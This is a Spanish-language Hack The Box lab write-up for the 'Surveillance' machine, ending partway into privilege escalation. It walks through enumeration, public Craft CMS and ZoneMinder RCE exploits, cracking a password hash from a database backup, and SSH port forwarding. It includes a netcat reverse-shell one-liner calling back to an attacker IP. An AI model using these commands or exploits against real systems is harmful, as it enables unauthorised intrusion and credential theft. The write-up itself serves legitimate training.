> For the complete documentation index, see [llms.txt](https://dcollao.gitbook.io/my-pentest-book/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-surveillance.md).

# HTB - Surveillance

https\://app.hackthebox.com/machines/Surveillance

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/7dyTOVLuFAhQ66tXRFRq/Surveillance.png" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  Surveillance**
* **IP de la Máquina:**  10.10.11.245
* **Sistema Operativo: Linux**
* **Dificultad: Medium**
* **Fecha de Publicación:  09 Dec 2023**

***

### **Enumeration**

#### **Establecer el objetivo**

Primero, establecemos el objetivo utilizando el comando settarget con la dirección IP de la máquina objetivo:

```bash
settarget 10.10.11.245 Surveillance
```

![](https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/Vds7D6PvDGD1bLkOyPWK/image.png)

#### &#x20;**Ping de reconocimiento**

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

```bash
ping -c 1 10.10.11.239 -R
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/JQ6X8wVOU7wo2H1ZaI9F/image.png" alt=""><figcaption></figcaption></figure>

#### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable:

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv  -n -Pn 10.10.11.245 -oG allPorts
```

#### &#x20; **Escaneo detallado con Nmap**

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/OTPvP6ENEZiUS8Jl7MZf/image.png" alt=""><figcaption></figcaption></figure>

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p \_\_PORTS\_\_ (reemplazando \_\_PORTS\_\_ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

```bash
sudo nmap -sCV -p22,80 10.10.11.245 -oN targeted
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/p0uvHPw3JjOjMLUHKpF0/image.png" alt=""><figcaption></figcaption></figure>

Para añadir la entrada "10.10.11.245 surveillance.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

```bash
echo "10.10.11.245 surveillance.htb" | sudo tee -a /etc/hosts
```

Este comando añade la dirección IP 10.10.11.245 asociada al nombre de host surveillance.htb al archivo /etc/hosts de tu sistema.

#### Utilizando WhatWeb para Obtener Información sobre el Objetivo

Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:

```bash
whatweb http://surveillance.htb > whatweb && cat whatweb -l java
```

<div data-full-width="true"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/S4YtIoWzYqA5qh0htYTd/image.png" alt="" width="563"><figcaption></figcaption></figure></div>

Para realizar un descubrimiento de directorios en un sitio web utilizando Gobuster, puedes utilizar el siguiente comando:

```bash
gobuster dir -u http://surveillance.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/EwiwZVcDNuop4QterZut/image.png" alt=""><figcaption></figcaption></figure>

Este comando utiliza Gobuster para realizar un escaneo de directorios en el sitio web <http://surveillance.htb/>. Utiliza el archivo de palabras /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt como lista de palabras clave para la búsqueda. La opción -t 50 indica que se deben utilizar 50 threads simultáneos para acelerar el proceso.

**TIP: Instalación de SecLists con apt-get**

Para instalar SecLists en sistemas basados en Debian (como Ubuntu) utilizando apt-get, puedes seguir estos pasos:

1. Actualiza la lista de paquetes disponibles:

   ```bash
   sudo apt-get update
   ```
2. Instala SecLists:

   ```bash
   sudo apt-get install seclists
   ```

Con estos pasos, SecLists se instalará en tu sistema y podrás acceder a la lista de palabras clave en el directorio /usr/share/seclists/.

### Exploitation

Durante una de nuestras incursiones en la red, nos topamos con un hallazgo interesante: una dirección específica que nos llevó directamente a un panel de administración de un sitio web: <http://surveillance.htb/admin/login>. Al inspeccionar la página, nos dimos cuenta de que estaba potenciada por "CraftCMS", y aún más intrigante, la versión se revelaba sin recato en el index.php como la 4.4.14.

Movidos por la curiosidad y el instinto de cazadores de vulnerabilidades, nos lanzamos a la vasta mar de información que es internet, con la esperanza de desenterrar algún dato útil sobre CraftCMS y sus posibles puntos débiles. No pasó mucho tiempo antes de que nuestra búsqueda diera frutos: nos topamos con un CVE específico que parecía ser la llave para comprometer la versión que teníamos enfrente: Craft CMS CVE-2023-41892. La fuente de esta revelación fue [este enlace](https://github.com/Faelian/CraftCMS_CVE-2023-41892), que prometía ser el comienzo de una aventura aún más emocionante.

<div align="left"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/OKuk4dCRTcBPhq0Ayu6Y/image.png" alt=""><figcaption></figcaption></figure></div>

Ejecutamos el exploit sudo python3 craft-cms.py <http://surveillance.htb/> y accedemos a una shell interactiva.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/2dNGWvPLWh3id0pD9YIp/image.png" alt=""><figcaption></figcaption></figure>

Para asegurar una shell robusta y poder ejecutar comandos de bash, se puede utilizar un one-liner que establezca una conexión inversa o una sesión interactiva. Este tipo de conexión es útil cuando se ha conseguido ejecutar comandos de manera remota en una máquina objetivo y se desea tener una interfaz de línea de comandos más estable para interactuar con el sistema.

Uno de los one-liners más comunes para este propósito utiliza bash para crear una shell inversa. Aquí tienes un ejemplo:

{% content-ref url="/pages/nebGCTlyZJp4uE2WpI74" %}
[Broken mention](broken://pages/nebGCTlyZJp4uE2WpI74)
{% endcontent-ref %}

{% code overflow="wrap" %}

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 7777 >/tmp/f
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/yfT0pZ0a86ik8JHWL5Ix/image.png" alt=""><figcaption></figcaption></figure>

Después de pasar un buen rato explorando el sistema al que había ganado acceso, me topé con una joya oculta en /html/craft/storage/backups: un archivo .sql. Este tipo de archivo suele contener datos cruciales, como backups de la base de datos, que podrían revelar información valiosa sobre la aplicación web y su estructura de datos. Sabiendo esto, decidí que era imperativo obtener una copia para un análisis más detallado.

Para hacer el archivo accesible y poder descargarlo, primero tuve que moverlo a un directorio desde el cual pudiera accederse públicamente. La ubicación ideal para esto fue /html/craft/web, un directorio que sabía que era servido por el servidor web.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/kduvcvgpA5EJq20TWI2h/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/dKvx7Bizbu6yckxHq2cp/image.png" alt=""><figcaption><p>Interior del .sql</p></figcaption></figure>

Una vez que obtuvimos el archivo .sql y luego el hash, nuestro siguiente paso fue identificar el tipo de hash para determinar la mejor manera de crackearlo. Para esto, utilizamos la herramienta hash-identifier, que nos permitió analizar el hash y determinar su posible algoritmo de hash subyacente.

El proceso de identificación fue sencillo y directo, y nos brindó información valiosa sobre la naturaleza del hash, lo que nos permitió elegir la mejor estrategia para descifrarlo.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/ryrliLfpMNTh4IJ3XKVJ/image.png" alt=""><figcaption></figcaption></figure>

Una vez identificado el tipo de hash como raw-sha256, procedimos a intentar crackearlo utilizando la herramienta John the Ripper. Esta herramienta es ampliamente utilizada para realizar ataques de fuerza bruta y diccionario contra contraseñas cifradas.

Ejecución de John the Ripper El comando utilizado para ejecutar John the Ripper y crackear el hash fue el siguiente:

{% code overflow="wrap" %}

```bash
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/YzHHkbacNXfqtPPfoyax/image.png" alt=""><figcaption></figcaption></figure>

Intentamos ingresar por ssh con las credenciales de <matthew@surveillance.htb> y este es el resultado:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/wBsbKNNBOWz7ov5rgiwI/image.png" alt=""><figcaption></figcaption></figure>

Revisando las conexiones de la máquina me percato de un servicio que está corriendo en el puerto 8080.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/vlDewlEblw2nM7a9vB9m/image.png" alt=""><figcaption></figcaption></figure>

### SSH Local Port Forward

El "SSH Local Port Forward" es una técnica que permite redirigir el tráfico desde un puerto local en la máquina cliente hacia un puerto específico en un servidor remoto a través de una conexión SSH. Esta técnica es útil para acceder a servicios en un servidor remoto que de otra manera no serían accesibles directamente desde la máquina cliente.

En el ejemplo dado, se utilizó el siguiente comando para establecer un SSH Local Port Forward desde la máquina cliente hacia el servidor remoto:

```bash
ssh -L 2222:127.0.0.1:8080 matthew@10.10.11.245
```

* -L 2222:127.0.0.1:8080: especifica la redirección del tráfico desde el puerto 2222 en la máquina cliente hacia el puerto 8080 en la máquina remota. El formato es -L \[puerto\_local]:\[host\_destino]:\[puerto\_destino].
* matthew\@10.10.11.245: es el usuario y la dirección IP del servidor remoto al que se va a conectar a través de SSH.

Después de ejecutar este comando, cualquier tráfico que llegue al puerto 2222 en la máquina cliente será redirigido al puerto 8080 en el servidor remoto a través de la conexión SSH. Esto permite acceder a servicios o aplicaciones que se ejecutan en el puerto 8080 del servidor remoto como si estuvieran siendo ejecutados localmente en el puerto 2222 de la máquina cliente.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/A8zxfxHMG8CSQvssfstZ/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/G6TBadskJFiWZHPooPws/image.png" alt=""><figcaption><p>Accedemos a 127.0.0.1:2222</p></figcaption></figure>

Después de establecer la conexión SSH local, decidí investigar si había algún exploit disponible para ZoneMinder, y encontré otro exploit relacionado con la ejecución remota de código (RCE). Puedes encontrar más información sobre este exploit en el siguiente enlace: [CVE-2023-26035](https://github.com/rvizx/CVE-2023-26035).

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/2zHFl4XhhhRZchKXuzPP/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/PSDgxyNQ8iWjqCOxn5hg/image.png" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Lo primero que se me ocurre hacer es un sudo -l

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/pDwbka6xwn8HMIgFiCWq/image.png" alt=""><figcaption></figcaption></figure>

Al parecer hay archivos en /usr/bin/ llamado zm\*.pl que podrían ser de ayuda:

<div align="left"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/jix2Rr5H1j69vAcp2Xcr/image.png" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/0wTz75oAIxz5yxUgHBGr/image.png" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/wOFuUUedELcmUZhjuAcS/image.png" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/aDghsWqzVXjiCBPbJQEk/image.png" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/DeATJuW4ehg21Sh0x2Dm/image.png" alt=""><figcaption></figcaption></figure>
